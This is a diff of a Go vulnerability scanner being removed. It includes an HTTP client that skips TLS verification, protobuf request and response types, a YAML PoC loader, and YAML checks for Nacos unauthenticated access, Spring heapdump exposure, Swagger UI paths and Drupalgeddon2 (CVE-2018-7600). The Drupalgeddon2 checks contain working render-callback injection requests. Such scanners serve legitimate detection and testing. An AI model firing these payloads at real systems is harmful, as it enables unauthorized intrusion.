"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
client *http.Client
|
||||
clientNoRedirect *http.Client
|
||||
dialTimout = 5 * time.Second
|
||||
keepAlive = 15 * time.Second
|
||||
)
|
||||
|
||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
||||
dialer := &net.Dialer{
|
||||
Timeout: dialTimout,
|
||||
KeepAlive: keepAlive,
|
||||
}
|
||||
|
||||
tr := &http.Transport{
|
||||
DialContext: dialer.DialContext,
|
||||
//MaxConnsPerHost: 0,
|
||||
MaxIdleConns: 1000,
|
||||
MaxIdleConnsPerHost: ThreadsNum * 2,
|
||||
IdleConnTimeout: keepAlive,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
TLSHandshakeTimeout: 5 * time.Second,
|
||||
DisableKeepAlives: false,
|
||||
}
|
||||
if DownProxy != "" {
|
||||
u, err := url.Parse(DownProxy)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tr.Proxy = http.ProxyURL(u)
|
||||
}
|
||||
|
||||
client = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
}
|
||||
clientNoRedirect = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
}
|
||||
clientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
||||
if req.Body == nil || req.Body == http.NoBody {
|
||||
} else {
|
||||
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
|
||||
if req.Header.Get("Content-Type") == "" {
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
}
|
||||
}
|
||||
|
||||
var oResp *http.Response
|
||||
var err error
|
||||
if redirect {
|
||||
oResp, err = client.Do(req)
|
||||
} else {
|
||||
oResp, err = clientNoRedirect.Do(req)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
resp, err := ParseResponse(oResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, err
|
||||
}
|
||||
|
||||
func ParseUrl(u *url.URL) *UrlType {
|
||||
nu := &UrlType{}
|
||||
nu.Scheme = u.Scheme
|
||||
nu.Domain = u.Hostname()
|
||||
nu.Host = u.Host
|
||||
nu.Port = u.Port()
|
||||
nu.Path = u.EscapedPath()
|
||||
nu.Query = u.RawQuery
|
||||
nu.Fragment = u.Fragment
|
||||
return nu
|
||||
}
|
||||
|
||||
func ParseRequest(oReq *http.Request) (*Request, error) {
|
||||
req := &Request{}
|
||||
req.Method = oReq.Method
|
||||
req.Url = ParseUrl(oReq.URL)
|
||||
header := make(map[string]string)
|
||||
for k := range oReq.Header {
|
||||
header[k] = oReq.Header.Get(k)
|
||||
}
|
||||
req.Headers = header
|
||||
req.ContentType = oReq.Header.Get("Content-Type")
|
||||
if oReq.Body == nil || oReq.Body == http.NoBody {
|
||||
} else {
|
||||
data, err := ioutil.ReadAll(oReq.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.Body = data
|
||||
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
|
||||
}
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func ParseResponse(oResp *http.Response) (*Response, error) {
|
||||
var resp Response
|
||||
header := make(map[string]string)
|
||||
resp.Status = int32(oResp.StatusCode)
|
||||
resp.Url = ParseUrl(oResp.Request.URL)
|
||||
for k := range oResp.Header {
|
||||
header[k] = oResp.Header.Get(k)
|
||||
}
|
||||
resp.Headers = header
|
||||
resp.ContentType = oResp.Header.Get("Content-Type")
|
||||
body, err := getRespBody(oResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp.Body = body
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
var body []byte
|
||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
||||
gr, err := gzip.NewReader(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer gr.Close()
|
||||
for {
|
||||
buf := make([]byte, 1024)
|
||||
n, err := gr.Read(buf)
|
||||
if err != nil && err != io.EOF {
|
||||
//utils.Logger.Error(err)
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
break
|
||||
}
|
||||
body = append(body, buf...)
|
||||
}
|
||||
} else {
|
||||
raw, err := ioutil.ReadAll(oResp.Body)
|
||||
if err != nil {
|
||||
//utils.Logger.Error(err)
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
body = raw
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
@@ -1,354 +0,0 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// source: http.proto
|
||||
|
||||
package lib
|
||||
|
||||
import (
|
||||
fmt "fmt"
|
||||
proto "github.com/golang/protobuf/proto"
|
||||
math "math"
|
||||
)
|
||||
|
||||
// Reference imports to suppress errors if they are not otherwise used.
|
||||
var _ = proto.Marshal
|
||||
var _ = fmt.Errorf
|
||||
var _ = math.Inf
|
||||
|
||||
// This is a compile-time assertion to ensure that this generated file
|
||||
// is compatible with the proto package it is being compiled against.
|
||||
// A compilation error at this line likely means your copy of the
|
||||
// proto package needs to be updated.
|
||||
const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package
|
||||
|
||||
type UrlType struct {
|
||||
Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
|
||||
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
|
||||
Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
|
||||
Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
|
||||
Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
|
||||
Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
|
||||
Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
|
||||
func (m *UrlType) Reset() { *m = UrlType{} }
|
||||
func (m *UrlType) String() string { return proto.CompactTextString(m) }
|
||||
func (*UrlType) ProtoMessage() {}
|
||||
func (*UrlType) Descriptor() ([]byte, []int) {
|
||||
return fileDescriptor_11b04836674e6f94, []int{0}
|
||||
}
|
||||
|
||||
func (m *UrlType) XXX_Unmarshal(b []byte) error {
|
||||
return xxx_messageInfo_UrlType.Unmarshal(m, b)
|
||||
}
|
||||
func (m *UrlType) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
||||
return xxx_messageInfo_UrlType.Marshal(b, m, deterministic)
|
||||
}
|
||||
func (m *UrlType) XXX_Merge(src proto.Message) {
|
||||
xxx_messageInfo_UrlType.Merge(m, src)
|
||||
}
|
||||
func (m *UrlType) XXX_Size() int {
|
||||
return xxx_messageInfo_UrlType.Size(m)
|
||||
}
|
||||
func (m *UrlType) XXX_DiscardUnknown() {
|
||||
xxx_messageInfo_UrlType.DiscardUnknown(m)
|
||||
}
|
||||
|
||||
var xxx_messageInfo_UrlType proto.InternalMessageInfo
|
||||
|
||||
func (m *UrlType) GetScheme() string {
|
||||
if m != nil {
|
||||
return m.Scheme
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetDomain() string {
|
||||
if m != nil {
|
||||
return m.Domain
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetHost() string {
|
||||
if m != nil {
|
||||
return m.Host
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetPort() string {
|
||||
if m != nil {
|
||||
return m.Port
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetPath() string {
|
||||
if m != nil {
|
||||
return m.Path
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetQuery() string {
|
||||
if m != nil {
|
||||
return m.Query
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *UrlType) GetFragment() string {
|
||||
if m != nil {
|
||||
return m.Fragment
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
type Request struct {
|
||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
||||
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
|
||||
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
|
||||
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
|
||||
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
|
||||
func (m *Request) Reset() { *m = Request{} }
|
||||
func (m *Request) String() string { return proto.CompactTextString(m) }
|
||||
func (*Request) ProtoMessage() {}
|
||||
func (*Request) Descriptor() ([]byte, []int) {
|
||||
return fileDescriptor_11b04836674e6f94, []int{1}
|
||||
}
|
||||
|
||||
func (m *Request) XXX_Unmarshal(b []byte) error {
|
||||
return xxx_messageInfo_Request.Unmarshal(m, b)
|
||||
}
|
||||
func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
||||
return xxx_messageInfo_Request.Marshal(b, m, deterministic)
|
||||
}
|
||||
func (m *Request) XXX_Merge(src proto.Message) {
|
||||
xxx_messageInfo_Request.Merge(m, src)
|
||||
}
|
||||
func (m *Request) XXX_Size() int {
|
||||
return xxx_messageInfo_Request.Size(m)
|
||||
}
|
||||
func (m *Request) XXX_DiscardUnknown() {
|
||||
xxx_messageInfo_Request.DiscardUnknown(m)
|
||||
}
|
||||
|
||||
var xxx_messageInfo_Request proto.InternalMessageInfo
|
||||
|
||||
func (m *Request) GetUrl() *UrlType {
|
||||
if m != nil {
|
||||
return m.Url
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Request) GetMethod() string {
|
||||
if m != nil {
|
||||
return m.Method
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Request) GetHeaders() map[string]string {
|
||||
if m != nil {
|
||||
return m.Headers
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Request) GetContentType() string {
|
||||
if m != nil {
|
||||
return m.ContentType
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Request) GetBody() []byte {
|
||||
if m != nil {
|
||||
return m.Body
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type Response struct {
|
||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
||||
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
|
||||
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
|
||||
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
|
||||
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
|
||||
func (m *Response) Reset() { *m = Response{} }
|
||||
func (m *Response) String() string { return proto.CompactTextString(m) }
|
||||
func (*Response) ProtoMessage() {}
|
||||
func (*Response) Descriptor() ([]byte, []int) {
|
||||
return fileDescriptor_11b04836674e6f94, []int{2}
|
||||
}
|
||||
|
||||
func (m *Response) XXX_Unmarshal(b []byte) error {
|
||||
return xxx_messageInfo_Response.Unmarshal(m, b)
|
||||
}
|
||||
func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
||||
return xxx_messageInfo_Response.Marshal(b, m, deterministic)
|
||||
}
|
||||
func (m *Response) XXX_Merge(src proto.Message) {
|
||||
xxx_messageInfo_Response.Merge(m, src)
|
||||
}
|
||||
func (m *Response) XXX_Size() int {
|
||||
return xxx_messageInfo_Response.Size(m)
|
||||
}
|
||||
func (m *Response) XXX_DiscardUnknown() {
|
||||
xxx_messageInfo_Response.DiscardUnknown(m)
|
||||
}
|
||||
|
||||
var xxx_messageInfo_Response proto.InternalMessageInfo
|
||||
|
||||
func (m *Response) GetUrl() *UrlType {
|
||||
if m != nil {
|
||||
return m.Url
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Response) GetStatus() int32 {
|
||||
if m != nil {
|
||||
return m.Status
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (m *Response) GetHeaders() map[string]string {
|
||||
if m != nil {
|
||||
return m.Headers
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Response) GetContentType() string {
|
||||
if m != nil {
|
||||
return m.ContentType
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Response) GetBody() []byte {
|
||||
if m != nil {
|
||||
return m.Body
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type Reverse struct {
|
||||
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
|
||||
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
|
||||
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
|
||||
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
|
||||
XXX_NoUnkeyedLiteral struct{} `json:"-"`
|
||||
XXX_unrecognized []byte `json:"-"`
|
||||
XXX_sizecache int32 `json:"-"`
|
||||
}
|
||||
|
||||
func (m *Reverse) Reset() { *m = Reverse{} }
|
||||
func (m *Reverse) String() string { return proto.CompactTextString(m) }
|
||||
func (*Reverse) ProtoMessage() {}
|
||||
func (*Reverse) Descriptor() ([]byte, []int) {
|
||||
return fileDescriptor_11b04836674e6f94, []int{3}
|
||||
}
|
||||
|
||||
func (m *Reverse) XXX_Unmarshal(b []byte) error {
|
||||
return xxx_messageInfo_Reverse.Unmarshal(m, b)
|
||||
}
|
||||
func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
|
||||
return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
|
||||
}
|
||||
func (m *Reverse) XXX_Merge(src proto.Message) {
|
||||
xxx_messageInfo_Reverse.Merge(m, src)
|
||||
}
|
||||
func (m *Reverse) XXX_Size() int {
|
||||
return xxx_messageInfo_Reverse.Size(m)
|
||||
}
|
||||
func (m *Reverse) XXX_DiscardUnknown() {
|
||||
xxx_messageInfo_Reverse.DiscardUnknown(m)
|
||||
}
|
||||
|
||||
var xxx_messageInfo_Reverse proto.InternalMessageInfo
|
||||
|
||||
func (m *Reverse) GetUrl() *UrlType {
|
||||
if m != nil {
|
||||
return m.Url
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Reverse) GetDomain() string {
|
||||
if m != nil {
|
||||
return m.Domain
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Reverse) GetIp() string {
|
||||
if m != nil {
|
||||
return m.Ip
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (m *Reverse) GetIsDomainNameServer() bool {
|
||||
if m != nil {
|
||||
return m.IsDomainNameServer
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
proto.RegisterType((*UrlType)(nil), "lib.UrlType")
|
||||
proto.RegisterType((*Request)(nil), "lib.Request")
|
||||
proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
|
||||
proto.RegisterType((*Response)(nil), "lib.Response")
|
||||
proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
|
||||
proto.RegisterType((*Reverse)(nil), "lib.Reverse")
|
||||
}
|
||||
|
||||
func init() {
|
||||
proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
|
||||
}
|
||||
|
||||
var fileDescriptor_11b04836674e6f94 = []byte{
|
||||
// 378 bytes of a gzipped FileDescriptorProto
|
||||
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
|
||||
0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
|
||||
0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
|
||||
0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
|
||||
0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
|
||||
0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
|
||||
0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
|
||||
0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
|
||||
0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
|
||||
0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
|
||||
0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
|
||||
0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
|
||||
0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
|
||||
0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
|
||||
0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
|
||||
0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
|
||||
0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
|
||||
0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
|
||||
0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
|
||||
0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
|
||||
0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
|
||||
0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
|
||||
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
|
||||
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
|
||||
}
|
||||
@@ -1,70 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"gopkg.in/yaml.v3"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type Poc struct {
|
||||
Name string `yaml:"name"`
|
||||
Set map[string]string `yaml:"set"`
|
||||
Rules []Rules `yaml:"rules"`
|
||||
Detail Detail `yaml:"detail"`
|
||||
}
|
||||
|
||||
type Rules struct {
|
||||
Method string `yaml:"method"`
|
||||
Path string `yaml:"path"`
|
||||
Headers map[string]string `yaml:"headers"`
|
||||
Body string `yaml:"body"`
|
||||
Search string `yaml:"search"`
|
||||
FollowRedirects bool `yaml:"follow_redirects"`
|
||||
Expression string `yaml:"expression"`
|
||||
}
|
||||
|
||||
type Detail struct {
|
||||
Author string `yaml:"author"`
|
||||
Links []string `yaml:"links"`
|
||||
Description string `yaml:"description"`
|
||||
Version string `yaml:"version"`
|
||||
}
|
||||
|
||||
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
|
||||
var pocs []*Poc
|
||||
for _, f := range SelectPoc(Pocs, pocname) {
|
||||
if p, err := loadPoc(f, Pocs); err == nil {
|
||||
pocs = append(pocs, p)
|
||||
}
|
||||
}
|
||||
return pocs
|
||||
}
|
||||
|
||||
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
|
||||
p := &Poc{}
|
||||
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = yaml.Unmarshal(yamlFile, p)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
}
|
||||
|
||||
func SelectPoc(Pocs embed.FS, pocname string) []string {
|
||||
entries, err := Pocs.ReadDir("pocs")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
var foundFiles []string
|
||||
for _, entry := range entries {
|
||||
if strings.Contains(entry.Name(), pocname) {
|
||||
foundFiles = append(foundFiles, entry.Name())
|
||||
}
|
||||
}
|
||||
return foundFiles
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-alibaba-nacos-api-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /nacos/v1/auth/users?pageNo=1&pageSize=9
|
||||
headers:
|
||||
User-Agent: Nacos-Server
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.content_type.contains("application/json") && response.body.bcontains(bytes("totalCount")) && response.body.bcontains(bytes("pagesAvailable")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password"))
|
||||
detail:
|
||||
author: AgeloVito
|
||||
info: alibaba-nacos-api-unauth
|
||||
login: nacos/nacos
|
||||
links:
|
||||
- https://blog.csdn.net/caiqiiqi/article/details/112005424
|
||||
@@ -1,28 +0,0 @@
|
||||
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
|
||||
search: |
|
||||
name="form_build_id"\s+value="(?P<build_id>.+?)"
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: POST
|
||||
path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_build_id={{build_id}}
|
||||
expression: |
|
||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
||||
detail:
|
||||
drupal_version: 7
|
||||
links:
|
||||
- https://github.com/dreadlocked/Drupalgeddon2
|
||||
- https://paper.seebug.org/567/
|
||||
@@ -1,20 +0,0 @@
|
||||
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
|
||||
expression: |
|
||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
||||
detail:
|
||||
drupal_version: 8
|
||||
links:
|
||||
- https://github.com/dreadlocked/Drupalgeddon2
|
||||
- https://paper.seebug.org/567/
|
||||
test:
|
||||
target: http://cve-2018-7600-8-x.vulnet:8080/
|
||||
@@ -1,12 +0,0 @@
|
||||
name: poc-yaml-spring-heapdump-file
|
||||
rules:
|
||||
- method: HEAD
|
||||
path: /heapdump
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.contains("application/octet-stream")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
info: spring-heapdump-file
|
||||
links:
|
||||
- https://www.cnblogs.com/wyb628/p/8567610.html
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-druid-monitor-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-druid-monitor-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /api/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-druid-monitor-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /service/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-druid-monitor-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /web/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-druid-monitor-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /swagger/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-druid-monitor-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /actuator/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-druid-monitor-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /libs/swagger-ui.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
|
||||
detail:
|
||||
author: AgeloVito
|
||||
links:
|
||||
- https://blog.csdn.net/u012206617/article/details/109107210
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-druid-monitor-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /template/swagger-ui.html
|
||||
expression: |
|
||||
